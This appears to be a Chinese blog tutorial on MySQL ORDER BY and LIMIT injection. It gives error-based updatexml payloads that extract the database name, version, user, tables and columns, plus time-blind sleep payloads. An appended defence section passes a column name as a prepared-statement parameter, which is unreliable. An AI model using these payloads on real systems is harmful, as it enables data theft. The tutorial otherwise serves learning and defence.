order by注入与limit注入

数据库查询与orderby注入详解
orderby用于数据库查询中的数据排序,可以按升序或降序排列。文章介绍了orderby注入的概念,通过SQL示例展示了如何利用orderby进行数据库信息探测,如获取数据库名、版本、用户及表和字段信息。同时,提到了基于if的时间盲注和limit注入的用法,以及limit与orderby的组合使用。内容涵盖了SQL注入攻击和防御的基础知识。

order by

什么是order by?

在数据库中,order by的作用是对数据表中查询的数据进行排序的方式。
正常情况下我们去查询一个数据库的时候,它显示的顺序可能是根据插入的数据来进行排序的,所以可以通过order by进行排序,方便查看

select * from 表名 order by 列名(数字) asc;(升序的)
select * from 表名 order by 列名(数字) desc;(降序的)

举个例子:
正常情况下,用户表的排名是这样的
在这里插入图片描述
当我们使用命令 select * from users order by username asc;的时候,是将users这张表按照username这一列进行升序,结果就变成了;可以看到username那一列是按照字母从小到大的方式进行排序。
在这里插入图片描述
而使用降序命令的时候,它就变成了从s开始逐渐变小。
在这里插入图片描述
order by注入可以指可控的位置在order by子句后

order by注入与报错注入

1.获取当前的数据库:
select * from users order by id and(updatexml(1,concat(0x7e,(select database()),0x7e),1));

在这里插入图片描述

2.获取数据库的版本
select * from users order by id and(updatexml(1,concat(0x7e,(select version()),0x7e),1));

在这里插入图片描述

3.获取用户
select * from users order by id and(updatexml(1,concat(0x7e,(select user()),0x7e),1));

在这里插入图片描述

4.获取数据库个数
select * from users order by id and(updatexml(1,concat(0x7e,(select count(*) from information_schema.schemata)),0));

在这里插入图片描述

5.获取数据库列表信息

这里结合了limit来进行逐条获取,可以更加方便的观察。

 select * from users order by id and(updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e),0));
 select * from users order by id and(updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 2,1),0x7e),0));
  select * from users order by id and(updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 2,1),0x7e),0));
   select * from users order by id and(updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 4,1),0x7e),0));

在这里插入图片描述

6.获取表的名字
 select * from users order by id and(updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema = "security" limit 0,1),0x7e),0));
 select * from users order by id and(updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema = "security" limit 1,1),0x7e),0));
 select * from users order by id and(updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema = "security" limit 2,1),0x7e),0));
 select * from users order by id and(updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema = "security" limit 3,1),0x7e),0));

在这里插入图片描述

7.获取字段名字
select * from users order by id and (updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema = "security" and table_name = "users"),0x7e),0));

这里使用的就不是limit来进行一个字段一个字段的输入了,而是使用了group_concat来进行输出,但是这个有意个条件就是每次只可以显示处32个字符,也就是说超过32个字符之后就会被截掉。
在这里插入图片描述
因为咱这个字符长度没有超过32个,所以就不会被阶段。如果字段太多了还是建议使用limit来一个一个的输出。

order by与盲注

基于if的时间盲注

这个就是判段的返回值是true还是false,如果是true的话,就正常时间内就会会显;如果是false的话,则会延长一段时间。
但是要注意的是,你所设置的sleep的时间并不是绝对的就是你设置数字的时间,如果一个表内的数据太多,那么他可能是你sleep设置时间和条数的乘积。

select * from ha order by if(1=1,1,sleep(1)); 
上面这种情况就是为真的时候,所以是正常时间回显
select * from ha order by if(1=2,1,sleep(1)); 
这里返回的结果就是flase,所以他会有一个延迟的关系。

在我们进行查询的时候,可以先使用 order by=(数字)来进行一个查询,这样就可以查看出他是有多少列的。

limit注入

limit的使用语法是:
LIMIT[位置偏移量,]行数;这里的中括号里的数据是可以修改的参数,也就是指的是从哪一行开始显示,并且他的开始值是0,也就是第一条记录对应的索引数是0,第二条记录对应的索引数是1…;后面的行数就是返回记录的条数,一般情况下都是写的1.

limit与order by的结合

正常情况下与order by结合在一起的写法:

 select * from users where id > 0 order by id limit 1,1;

在这里插入图片描述

limit后面的参数

在limit后面是可以跟着两个参数的,分别是procedure和into。
但是into除非有写入shell的权限,否则是不可以使用的。

select * from users order by id limit 0,1 procedure analyse(extractvalue(1,concat(version())));

可能在输入的时候这个是存在报错的,这是因为这种方式是适用于低于mysql5.5的版本中,但是因为我这个mysql的版本是5.7.26的,他已经不支持了,所以不能运行。

### SQL注入中 `ORDER BY` 的攻击方式 在SQL注入场景下,`ORDER BY` 子句可以被利用来探测列的数量以及验证是否存在SQL注入漏洞。通过向应用程序发送带有不同数值的 `ORDER BY` 请求,攻击者能够观察返回的结果集变化情况,以此推断出数据库表结构。 例如,在一个存在漏洞的应用程序参数处插入如下payload: ```sql ?id=1 ORDER BY 5 -- ``` 如果上述请求成功执行并返回正常结果,则说明该表至少有五列;反之则表明尝试越界访问失败[^2]。 ### 防御措施 为了防止基于 `ORDER BY` 的SQL注入攻击,建议采取以下几种策略: #### 使用预编译语句 (Prepared Statements) 采用预编译语句是防范SQL注入最有效的方式之一。这种方式使得SQL代码和数据分离处理,即使用户输入恶意内容也不会影响原始查询逻辑。具体实现上可以通过设置占位符来代替动态部分,并由驱动程序负责安全传递实际值给数据库引擎解析。 示例代码(Python + MySQL Connector): ```python import mysql.connector conn = mysql.connector.connect(user='root', password='', host='localhost') cursor = conn.cursor(prepared=True) query = "SELECT * FROM users WHERE id=%s ORDER BY %s LIMIT 1" data_tuple = ('some_id_value', 'column_name') cursor.execute(query, data_tuple) result_set = cursor.fetchall() for row in result_set: print(row) ``` 此做法不仅提高了安全性还增强了性能表现[^1]。 #### 输入校验清理 严格控制外部输入的内容形式,确保其符合预期模式后再参构建最终要被执行的SQL指令。比如针对整数类型的字段只允许纯数字串进入后续流程;而对于字符串类别的变量则需去除潜在危险字符如分号(`;`)、单引号(')等特殊符号。 此外还可以考虑引入白名单机制限定可接受范围内的合法选项作为排序依据,减少因误操作引发的风险。 #### 错误信息最小化原则 当遇到异常状况时应尽量避免暴露过多内部细节给前端展示出来,转而提供统一友好的提示文案告知用户发生了什么问题而不透露任何有关底层架构的具体线索。这有助于阻止那些试图从报错消息里寻找突破口实施进一步侵害行为的人士获得有用情报[^3]。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值